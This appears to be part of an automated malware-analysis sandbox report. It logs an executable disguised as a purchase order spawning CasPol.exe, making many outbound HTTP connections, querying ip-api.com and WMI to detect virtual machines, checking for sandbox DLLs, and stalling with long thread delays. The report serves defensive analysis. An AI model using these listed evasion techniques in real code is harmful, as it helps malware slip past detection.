Source: unknown	Network traffic detected: HTTP traffic on port 51576 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51662 -> 15673
Source: unknown	Network traffic detected: HTTP traffic on port 51587 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51680 -> 10007
Source: unknown	Network traffic detected: HTTP traffic on port 51737 -> 9000
Source: unknown	Network traffic detected: HTTP traffic on port 18080 -> 51080
Source: unknown	Network traffic detected: HTTP traffic on port 54240 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 51420 -> 47935
Source: unknown	Network traffic detected: HTTP traffic on port 50868 -> 22500
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 36946
Source: unknown	Network traffic detected: HTTP traffic on port 50790 -> 28513
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51702 -> 50109
Source: unknown	Network traffic detected: HTTP traffic on port 51633 -> 3129
Source: unknown	Network traffic detected: HTTP traffic on port 51683 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51674 -> 3389
Source: unknown	Network traffic detected: HTTP traffic on port 51189 -> 18936
Source: unknown	Network traffic detected: HTTP traffic on port 51159 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51541 -> 9002
Source: unknown	Network traffic detected: HTTP traffic on port 51808 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51121 -> 12792
Source: unknown	Network traffic detected: HTTP traffic on port 51725 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 55555 -> 51497
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51429
Source: unknown	Network traffic detected: HTTP traffic on port 51590 -> 7302
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 51116
Source: unknown	Network traffic detected: HTTP traffic on port 51721 -> 1081
Source: unknown	Network traffic detected: HTTP traffic on port 51183 -> 9090
Source: unknown	Network traffic detected: HTTP traffic on port 51158 -> 63055
Source: unknown	Network traffic detected: HTTP traffic on port 51711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51881 -> 43704
Source: unknown	Network traffic detected: HTTP traffic on port 51211 -> 48298
Source: unknown	Network traffic detected: HTTP traffic on port 51788 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 51253 -> 31679
Source: unknown	Network traffic detected: HTTP traffic on port 51879 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51807 -> 18080
Source: unknown	Network traffic detected: HTTP traffic on port 50681 -> 52858
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 34411
Source: unknown	Network traffic detected: HTTP traffic on port 50680 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 50540 -> 85
Source: unknown	Network traffic detected: HTTP traffic on port 50902 -> 29796
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51732
Source: unknown	Network traffic detected: HTTP traffic on port 51794 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 1080 -> 51520
Source: unknown	Network traffic detected: HTTP traffic on port 9002 -> 50813
Source: unknown	Network traffic detected: HTTP traffic on port 51833 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 51897 -> 49547
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 3128
Source: unknown	Network traffic detected: HTTP traffic on port 51832 -> 44444
Source: unknown	Network traffic detected: HTTP traffic on port 51918 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51962 -> 12334
Source: unknown	Network traffic detected: HTTP traffic on port 51866 -> 29985
Source: unknown	Network traffic detected: HTTP traffic on port 51854 -> 15464
Source: unknown	Network traffic detected: HTTP traffic on port 51069 -> 30747
Source: unknown	Network traffic detected: HTTP traffic on port 51544 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 444
Source: unknown	Network traffic detected: HTTP traffic on port 51365 -> 50564
Source: unknown	Network traffic detected: HTTP traffic on port 51838 -> 5678
Source: unknown	Network traffic detected: HTTP traffic on port 51837 -> 4153
Source: unknown	Network traffic detected: HTTP traffic on port 51992 -> 8585
Source: unknown	Network traffic detected: HTTP traffic on port 51733 -> 8899
Source: unknown	Network traffic detected: HTTP traffic on port 51973 -> 27391
Source: unknown	Network traffic detected: HTTP traffic on port 51986 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 51264 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 10007 -> 51680
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 4506
Source: unknown	Network traffic detected: HTTP traffic on port 51247 -> 63212
Source: unknown	Network traffic detected: HTTP traffic on port 51867 -> 808

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Check if machine is in data center or colocation facility

Source: global traffic

HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: CasPol.exe, 00000008.00000002.2486744506.0000000000402000.00000040.00000400.00020000.00000000.sdmp, CasPol.exe, 00000008.00000002.2489366666.0000000003401000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Memory allocated: 1C0C39C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Memory allocated: 1C0DD640000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 1630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 33D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Memory allocated: 53D0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe	Window / User API: threadDelayed 1789			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Window / User API: threadDelayed 398			Jump to behavior

Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -19369081277395017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -99781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -99653s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -99541s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -99437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -99327s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -99218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -99109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -99000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -98888s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -98781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -98671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -98561s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -98437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -98312s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -98175s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -98043s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -97935s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -97811s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -97698s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -97562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -97415s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -97270s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\PO-065-01-2024E-2.exe TID: 5744	Thread sleep time: -97154s >= -30000s	Jump to behavior
